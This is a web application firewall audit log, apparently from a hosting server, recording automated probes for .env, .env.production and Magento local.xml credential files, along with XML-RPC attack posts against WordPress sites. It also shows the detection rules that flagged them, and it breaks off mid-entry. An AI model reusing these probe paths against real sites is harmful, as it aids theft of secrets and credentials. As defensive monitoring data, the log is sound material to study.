Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --71f57522-Z-- --e911c841-A-- [16/Jun/2025:06:06:16.098297 +0530] aE9m_9NEcm-DhAkC0ibdGwAAAAY 185.177.72.210 35030 127.0.0.1 7081 --e911c841-B-- GET /agora/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e911c841-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=92a40a64551bd6e2f3868f8918283dcf1750034175; expires=Mon, 16 Jun 2025 01:36:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e911c841-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/agora/.env"] [unique_id "aE9m_9NEcm-DhAkC0ibdGwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034175441986 656373 (- - -) Stopwatch2: 1750034175441986 656373; combined=1732, p1=357, p2=1265, p3=0, p4=0, p5=109, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e911c841-Z-- --61325e61-A-- [16/Jun/2025:06:06:17.182281 +0530] aE9nAJ16HYQp4eDf7R1WNgAAAAI 185.177.72.210 35082 127.0.0.1 7081 --61325e61-B-- GET /:5601/.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61325e61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=702191bca13430b55e350494fa3f39e51750034177; expires=Mon, 16 Jun 2025 01:36:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61325e61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.c9/metadata/environment/.env"] [unique_id "aE9nAJ16HYQp4eDf7R1WNgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034176494821 687523 (- - -) Stopwatch2: 1750034176494821 687523; combined=1675, p1=346, p2=1232, p3=0, p4=0, p5=96, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61325e61-Z-- --f9e51738-A-- [16/Jun/2025:06:06:18.945305 +0530] aE9nAWYZLqtIztZ_Ow_qmAAAAAg 128.199.112.101 35168 127.0.0.1 7081 --f9e51738-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f9e51738-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f9e51738-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9nAWYZLqtIztZ_Ow_qmAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034177881008 1064357 (- - -) Stopwatch2: 1750034177881008 1064357; combined=158001, p1=414, p2=1500, p3=51, p4=54, p5=78030, sr=116, sw=106, l=0, gc=77846 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f9e51738-Z-- --945d3d45-A-- [16/Jun/2025:06:06:20.668653 +0530] aE9nBGYZLqtIztZ_Ow_qmQAAAAg 185.177.72.210 41812 127.0.0.1 7081 --945d3d45-B-- GET /:8008/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --945d3d45-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d729eb1243d33c64126b9742c0c164721750034180; expires=Mon, 16 Jun 2025 01:36:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --945d3d45-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.production"] [unique_id "aE9nBGYZLqtIztZ_Ow_qmQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034180021693 647080 (- - -) Stopwatch2: 1750034180021693 647080; combined=1744, p1=390, p2=1225, p3=0, p4=0, p5=128, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --945d3d45-Z-- --96da2964-A-- [16/Jun/2025:06:06:25.678527 +0530] aE9nCWYZLqtIztZ_Ow_qnAAAAAg 185.177.72.210 42056 127.0.0.1 7081 --96da2964-B-- GET /app/etc/local.xml.template HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --96da2964-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8db01b95c58356f6a7166464e2690b681750034185; expires=Mon, 16 Jun 2025 01:36:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --96da2964-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.template"] [unique_id "aE9nCWYZLqtIztZ_Ow_qnAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034185013763 664825 (- - -) Stopwatch2: 1750034185013763 664825; combined=1655, p1=366, p2=1204, p3=0, p4=0, p5=84, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --96da2964-Z-- --0de13e27-A-- [16/Jun/2025:06:06:37.997174 +0530] aE9nFQ9THibLN0xLxETw_AAAAAk 185.177.72.210 43570 127.0.0.1 7081 --0de13e27-B-- GET /:8000/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0de13e27-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eab5094fb6514f5799a6cf0f32b014e81750034197; expires=Mon, 16 Jun 2025 01:36:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0de13e27-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/storage/.env"] [unique_id "aE9nFQ9THibLN0xLxETw_AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034197306852 690397 (- - -) Stopwatch2: 1750034197306852 690397; combined=1725, p1=363, p2=1268, p3=0, p4=0, p5=93, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0de13e27-Z-- --2fd0d664-A-- [16/Jun/2025:06:06:49.285972 +0530] aE9nIA9THibLN0xLxETxBAAAAAk 185.177.72.210 52940 127.0.0.1 7081 --2fd0d664-B-- GET /cardea/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2fd0d664-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=386560d04b99651295a77a79b8de42991750034209; expires=Mon, 16 Jun 2025 01:36:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2fd0d664-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cardea/backend/.env"] [unique_id "aE9nIA9THibLN0xLxETxBAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034208552172 733865 (- - -) Stopwatch2: 1750034208552172 733865; combined=1855, p1=390, p2=1368, p3=0, p4=0, p5=96, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2fd0d664-Z-- --33c58240-A-- [16/Jun/2025:06:06:50.336508 +0530] aE9nIdNEcm-DhAkC0ibdMQAAAAY 185.177.72.210 43712 127.0.0.1 7081 --33c58240-B-- GET /private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --33c58240-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0a0afc9c87b4dda71e6d2239dbc84c7c1750034210; expires=Mon, 16 Jun 2025 01:36:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --33c58240-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.local"] [unique_id "aE9nIdNEcm-DhAkC0ibdMQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034209617338 719261 (- - -) Stopwatch2: 1750034209617338 719261; combined=1533, p1=305, p2=1099, p3=0, p4=0, p5=129, sr=75, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --33c58240-Z-- --2077e026-A-- [16/Jun/2025:06:07:18.901737 +0530] aE9nPfbo0R64L12N_alVqQAAAAQ 128.199.112.101 46344 127.0.0.1 7081 --2077e026-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2077e026-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2077e026-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9nPfbo0R64L12N_alVqQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034237926737 975055 (- - -) Stopwatch2: 1750034237926737 975055; combined=2272, p1=424, p2=1483, p3=43, p4=57, p5=166, sr=131, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2077e026-Z-- --8aed1432-A-- [16/Jun/2025:06:07:41.871263 +0530] aE9nVC2Tu2VxEl4lA7DePQAAAAw 185.177.72.210 56622 127.0.0.1 7081 --8aed1432-B-- GET /:8880/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8aed1432-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7a9389ec98e7fd73637887a7e539385e1750034261; expires=Mon, 16 Jun 2025 01:37:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8aed1432-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/stats/.env"] [unique_id "aE9nVC2Tu2VxEl4lA7DePQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034260991946 879409 (- - -) Stopwatch2: 1750034260991946 879409; combined=2079, p1=449, p2=1511, p3=0, p4=0, p5=119, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8aed1432-Z-- --8c029576-A-- [16/Jun/2025:06:07:44.925621 +0530] aE9nWNNEcm-DhAkC0ibdSAAAAAY 185.177.72.210 56824 127.0.0.1 7081 --8c029576-B-- GET /api/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8c029576-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=74e88704e23ab585a6ffe2634f1438671750034264; expires=Mon, 16 Jun 2025 01:37:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8c029576-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/.env.save"] [unique_id "aE9nWNNEcm-DhAkC0ibdSAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034264260002 665712 (- - -) Stopwatch2: 1750034264260002 665712; combined=2344, p1=505, p2=1752, p3=0, p4=0, p5=86, sr=151, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8c029576-Z-- --87317b4f-A-- [16/Jun/2025:06:07:52.254260 +0530] aE9nX9NEcm-DhAkC0ibdTAAAAAY 185.177.72.210 37880 127.0.0.1 7081 --87317b4f-B-- GET /:8080/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --87317b4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b350e87a823e8354c2d60c9013e14e81750034272; expires=Mon, 16 Jun 2025 01:37:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --87317b4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/django_project_path/.env"] [unique_id "aE9nX9NEcm-DhAkC0ibdTAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034271600796 653526 (- - -) Stopwatch2: 1750034271600796 653526; combined=2208, p1=475, p2=1638, p3=0, p4=0, p5=94, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87317b4f-Z-- --3a28a805-A-- [16/Jun/2025:06:08:01.886054 +0530] aE9naZ_Rv4EBtUyS5c4GpQAAAAU 185.177.72.210 44620 127.0.0.1 7081 --3a28a805-B-- GET /src/core/tests/dotenv-files/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a28a805-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2212951b747092851e609cc0e50e5eb11750034281; expires=Mon, 16 Jun 2025 01:38:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a28a805-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/core/tests/dotenv-files/.env"] [unique_id "aE9naZ_Rv4EBtUyS5c4GpQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034281176179 709943 (- - -) Stopwatch2: 1750034281176179 709943; combined=2254, p1=529, p2=1593, p3=0, p4=0, p5=132, sr=148, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a28a805-Z-- --79ef2127-A-- [16/Jun/2025:06:08:05.518256 +0530] aE9nbC2Tu2VxEl4lA7DeVAAAAAw 185.177.72.210 44824 127.0.0.1 7081 --79ef2127-B-- GET /test/bdd/fixtures/couchdb/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --79ef2127-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=978bf2c3266b92fdec96ad880b2228cc1750034285; expires=Mon, 16 Jun 2025 01:38:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --79ef2127-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file 